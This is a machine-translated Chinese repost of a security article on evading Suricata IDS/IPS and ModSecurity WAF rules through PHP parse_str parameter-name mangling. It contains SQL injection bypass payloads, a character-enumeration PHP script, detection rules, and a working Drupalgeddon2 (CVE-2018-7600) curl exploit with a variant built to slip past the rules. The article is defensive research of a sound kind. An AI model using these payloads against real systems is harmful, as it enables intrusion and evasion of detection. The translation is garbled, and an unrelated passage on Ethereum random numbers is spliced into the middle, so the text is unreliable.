应用PHP函数parse_str绕过IDS、IPS和WAF | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用PHP函数parse_str绕过IDS、IPS和WAF

申博_安全防护 申博 79次浏览 未收录 0个评论

TL;DR

一般来讲,PHP将查询字符串(在URL或主体中)转换为$_GET$_POST内的关联数组。比方:/?foo=bar变成Array([foo] => "bar")。查询字符串剖析历程将参数称号中的某些字符删除或替换为下划线。比方/?%20news[id%00=42将转换为Array([news_id]=>42)。假如IDS/IPS或WAF在news_id参数中设置了阻挠或纪录非数字值的划定规矩,则可以滥用此剖析历程来绕过它:就像:

/news.php?%20news[id%00=42"+AND+1=0--

在PHP中,上面的示例%20news[id%00中的参数名的值将存储为$_GET["news_id"]

缘由

PHP需要将一切参数转换为有用的变量名,因而在剖析查询字符串时,它主要做两件事:
删除初始空格
将一些字符转换为下划线(包含空格)
举个栗子

应用PHP函数parse_str绕过IDS、IPS和WAF

经由过程以下所示的轮回,您可以运用parse_str函数发明哪一个字符被删除或转换为下划线:

<?php

    foreach(
        [
            "{chr}foo_bar",
            "foo{chr}bar",
            "foo_bar{chr}"
        ] as $k => $arg) {

            for($i=0;$i<=255;$i++) {
                echo "\033[999D\033[K\r";
                echo "[".$arg."] check ".bin2hex(chr($i))."";
                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);

                /* yes... I've added a sleep time on each loop just for 
                the scenic effect :) like that movie with unrealistic 
                brute-force where the password are obtained 
                one byte at a time (∩`-´)⊃━☆゚.*・。゚ 
                */
                usleep(5000);

                if(isset($o["foo_bar"])) {
                    echo "\033[999D\033[K\r";
                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
                }
            }

            echo "\033[999D\033[K\r";
            echo "\n";
    }

应用PHP函数parse_str绕过IDS、IPS和WAF

parse_str用于get、post和cookie。假如您的Web服务器接收带有点或空格的标头称号,则标头也会发作相似的状况。
我实行了三次上面的轮回历程,在参数名的两头枚举了从0到255的一切字符,效果以下:

[1st]foo_bar
foo[2nd]bar
foo_bar[3rd]

应用PHP函数parse_str绕过IDS、IPS和WAF
在上面的例子中,foo%20bar和foo+bar是等效的,被剖析为foo bar。

Suricata

关于初学者来讲,Suricata是一个“开源、成熟、疾速和硬朗的收集要挟检测引擎”,其引擎可以举行及时入侵检测(IDS)、内联入侵防备(IPS)、收集平安监控(NSM)和离线PCAP处置惩罚。
运用Suricata,您以至可以定义搜检HTTP流量的划定规矩。假定您有以下划定规矩:

alert http any any -> $HOME_NET any (\
    msg: "Block SQLi"; flow:established,to_server;\
    content: "POST"; http_method;\
    pcre: "/news_id=[^0-9]+/Pi";\
    sid:1234567;\
)

此划定规矩搜检news_id是不是具有非数字值。在PHP中,可以经由过程滥用字符串剖析划定规矩绕过搜检。

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

在Google和GitHub上搜刮,我发明Suricata有很多针对PHP的划定规矩,可以经由过程在搜检的参数称号中替换下划线、增加空字节或空格来绕过这些划定规矩。以下举例说明:
https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

可以经由过程以下体式格局绕过:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

略加转变:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(当代平安)

PHP查询字符串剖析器也能够被滥用来绕过WAF划定规矩。
一个ModSecurity划定规矩,比方SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"明显很轻易运用雷同的手艺来绕过。荣幸的是,在ModSecurity中,可以经由过程正则表达式指定查询字符串参数。

以太坊随机数安全全面分析(二)

一、前言 本文继续前文的讲解。在前文中我们介绍了区块链中由公开变量做种子而引起的安全问题;有些合约使用区块哈希作为变量并将其放入合约函数中作为某种读博游戏的判定依旧。 由于这些随机数并非真正的“随机”,所以其安全隐患也是巨大的。本文我们继续介绍四种随机数漏洞类型。 二、基于区块哈希的随机数问题 block.blockhash(block.number-1)。 许多合约使用blockhash作为生产随机数的变量,并传入上一个区块编号。这种方法同样存在问题,攻击者可以调用相同的方法来生成该随机数。 例如下面一个合约: /**
*Submitted for verification at Etherscan.io on 2016-04-23
*/

contract LuckyDoubler {
//##########################################################
//#### LuckyDoubler: A doubler with random payout order ####
//#### Deposit 1 ETHER to participate

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

这将阻挠一切以下要求:

/?news[id=1%22+AND+1=1--'
/?news%5bid=1%22+AND+1=1--'
/?news_id%00=1%22+AND+1=1--'

PoC || GTFO

让我们运用Suricata和Drupal CMS建立PoC,研讨CVE-2018-7600(Drupalgeddon2长途代码实行)。为了简朴起见,我将在两个docker容器上运转Suricata和Drupal,并尝试从Suricata容器中应用Drupal破绽。
我将激活关于Suricata的两条划定规矩:
阻挠form_id=user_register_form的自定义划定规矩
为CVE-2018-7600设想的Suricata划定规矩
关于Suricata装置,我遵照了官方装置指南 “官方装置指南”),关于Drupal,我运转了vulhub容器,您可以在这里举行克隆:

好的,让我们尝试应用CVE-2018-7600。我想建立一个实行curl的小bash剧本,相似于:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

上面的剧本实行命令id。
如今让我们在Suricata中导入以下两个划定规矩:我编写了第一个划定规矩,它只是试图婚配要求主体中的form_id=user_register_form;Positive Technology编写了第二个,并婚配要求URL中的/user/register和要求主体中的#post_render之类的内容。
我的划定规矩:

alert http any any -> $HOME_NET any (\
  msg: "Possible Drupalgeddon2 attack";\
  flow: established, to_server;\
  content: "/user/register"; http_uri;\
  content: "POST"; http_method;\
  pcre: "/form_id=user_register_form/Pi";\
  sid: 10002807;\
  rev: 1;\
)

PT划定规矩:

alert http any any -> $HOME_NET any (\
  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \
  flow: established, to_server; \
  content: "/user/register"; http_uri; \
  content: "POST"; http_method; \
  content: "drupal"; http_client_body; \
  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \
  reference: cve, 2018-7600; \
  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \
  classtype: attempted-admin; \
  reference: url, github.com/ptresearch/AttackDetection; \
  metadata: Open Ptsecurity.com ruleset; \
  sid: 10002808; \
  rev: 2; \
)

重新启动Suricata后,我很快就会晓得上面的两个划定规矩是不是会阻拦关于破绽的要求:
应用PHP函数parse_str绕过IDS、IPS和WAF

我们获得两个Suricata日记:

ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

胜利绕过!

这两条划定规矩都很轻易绕过。针对第一条划定规矩,我们可以将form_id=user_register_form替换为以下内容:

form%5bid=user_register_form

针对PT划定规矩,剖析PT划定规矩的正则表达式,我们可以看到它婚配#和他的编码版本%23。它没有婚配下划线字符的编码版本。
因而,我们可以经由过程运用post%5frender替换post_render来举行绕过:
应用PHP函数parse_str绕过IDS、IPS和WAF

以下进击绕过了这两个划定规矩:

#!/bin/bash

URL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="
COMMAND="id"

curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

假如你喜好这个帖子,请分享本文并在推特上关注我!

原文:https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用PHP函数parse_str绕过IDS、IPS和WAF
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址